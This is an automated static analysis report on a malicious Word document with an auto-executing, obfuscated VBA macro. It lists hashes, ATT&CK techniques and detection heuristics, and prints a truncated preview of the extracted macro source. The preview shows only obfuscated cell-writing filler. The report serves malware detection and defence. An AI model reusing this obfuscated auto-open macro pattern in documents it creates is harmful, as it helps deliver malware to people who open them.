Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c3515f90d2a6691e…

MALICIOUS

Office (OOXML)

50.9 KB Created: 2021-06-02 14:44:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-06-13
MD5: 5fd8026659b17f18ad47d5b254d24d60 SHA-1: ad24bc7c32ad0c50f619f41245b477d679b70f7c SHA-256: c3515f90d2a6691e7e9971d8450b46b104239050195f354f8d86dccff2377f9a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject. This indicates the document is designed to execute arbitrary code upon opening, likely to download and execute a second-stage payload. The VBA code appears obfuscated, making it difficult to determine the exact payload or destination. No specific family could be identified.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 56450 bytes
SHA-256: 98692b819aa05b9dca4efd4cb078f60092b855b29cd07078783b5fb8f5107b73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{108B43AD-AF64-431A-9E90-C2E67D16041C}{17020176-A857-4287-83E3-260D57E865D9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"
Function cVTJ(yqKRk As Object)
yqKRk.Application.Cells(950, 1) = "97"
yqKRk.Application.Cells(112, 6) = "WEt"
yqKRk.Application.Cells(217, 15) = "860"
yqKRk.Application.Cells(484, 14) = "AxbWjZ"
yqKRk.Application.Cells(507, 19) = "UwE"
yqKRk.Application.Cells(510, 7) = "fggHQgboL"
yqKRk.Application.Cells(586, 17) = "537"
yqKRk.Application.Cells(422, 9) = "284"
yqKRk.Application.Cells(260, 15) = "43"
yqKRk.Application.Cells(725, 22) = "gryTrH"
yqKRk.Application.Cells(447, 17) = "924"
yqKRk.Application.Cells(895, 20) = "25"
yqKRk.Application.Cells(319, 11) = "576"
yqKRk.Application.Cells(231, 15) = "eXwbTxlBm"
yqKRk.Application.Cells(662, 17) = "IzzGR"
yqKRk.Application.Cells(972, 10) = "SSzoCc"
yqKRk.Application.Cells(602, 4) = "989"
yqKRk.Application.Cells(923, 20) = "JqcR"
yqKRk.Application.Cells(684, 19) = "98"
yqKRk.Application.Cells(257, 7) = "977"
yqKRk.Application.Cells(612, 13) = "hnnAcx"
yqKRk.Application.Cells(732, 15) = "uKQNf"
yqKRk.Application.Cells(933, 13) = "529"
yqKRk.Application.Cells(504, 18) = "409"
yqKRk.Application.Cells(452, 4) = "Orp"
yqKRk.Application.Cells(585, 12) = "IFjmYus"
yqKRk.Application.Cells(884, 4) = "VYyAsvADx"
yqKRk.Application.Cells(664, 12) = "728"
yqKRk.Application.Cells(111, 7) = "MCv"
yqKRk.Application.Cells(560, 4) = "99"
yqKRk.Application.Cells(482, 22) = "190"
yqKRk.Application.Cells(918, 13) = "uMO"
yqKRk.Application.Cells(951, 4) = "472"
yqKRk.Application.Cells(108, 25) = "Vgy"
yqKRk.Application.Cells(213, 23) = "KQEOiaQn"
yqKRk.Application.Cells(995, 12) = "743"
yqKRk.Application.Cells(203, 18) = "814"
yqKRk.Application.Cells(771, 3) = "SAk"
yqKRk.Application.Cells(638, 7) = "iaimiD"
yqKRk.Application.Cells(665, 13) = "GxvSuuapk"
yqKRk.Application.Cells(719, 5) = "UOXX"
yqKRk.Application.Cells(583, 2) = "528"
yqKRk.Application.Cells(797, 9) = "552"
yqKRk.Application.Cells(433, 12) = "925"
yqKRk.Application.Cells(358, 8) = "LhAGIjmEz"
yqKRk.Application.Cells(270, 5) = "ueFh"
yqKRk.Application.Cells(462, 22) = "100"
yqKRk.Application.Cells(200, 7) = "832"
yqKRk.Application.Cells(646, 19) = "278"
yqKRk.Application.Cells(800, 13) = "CaKeodU"
yqKRk.Application.Cells(900, 25) = "YGumEhKw"
yqKRk.Application.Cells(919, 8) = "215"
yqKRk.Application.Cells(681, 16) = "116"
yqKRk.Application.Cells(322, 4) = "772"
yqKRk.Application.Cells(178, 14) = "188"
yqKRk.Application.Cells(666, 14) = "951"
yqKRk.Application.Cells(176, 17) = "343"
yqKRk.Application.Cells(137, 10) = "ZpyV"
yqKRk.Application.Cells(420, 26) = "64"
yqKRk.Application.Cells(476, 6) = "pHHCL"
yqKRk.Application.Cells(708, 24) = "yXRgMT"
yqKRk.Application.Cells(413, 6) = "394"
yqKRk.Application.Cells(799, 8) = "490"
yqKRk.Application.Cells(565, 15) = "JVwkPvDz"
yqKRk.Application.Cells(892, 5) = "enQocAXnT"
yqKRk.Application.Cells(411, 17) = "241"
yqKRk.Application.Cells(715, 20) = "101"
yqKRk.Application.Cells(635, 25) = "iuQyXp"
yqKRk.Application.Cells(675, 18) = "945"
yqKRk.Application.Cells(909, 11) = "PWVfhmmf"
yqKRk.Application.Cells(405, 2) = "zywcT"
yqKRk.Application.Cells(999, 23) = "Yqr"
yqKRk.Application.Cells(774, 2) = "rxVYW"
yqKRk.Application.Cells(955, 19) = "102"
yqKRk.Application.Cells(213, 4) = "233"
yqKRk.Application.Cells(652, 23) = "mtC"
yqKRk.Application.Cells(976, 19) = "733"
yqKRk.Application.Cells(194, 25) = "aEBxzR"
yqKRk.Application.Cells(347, 9) = "XRKJl
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 95744 bytes
SHA-256: 90a45de6a80b1dab20f94c3eb2be17fa166415853a42e633de1e39650c1f7843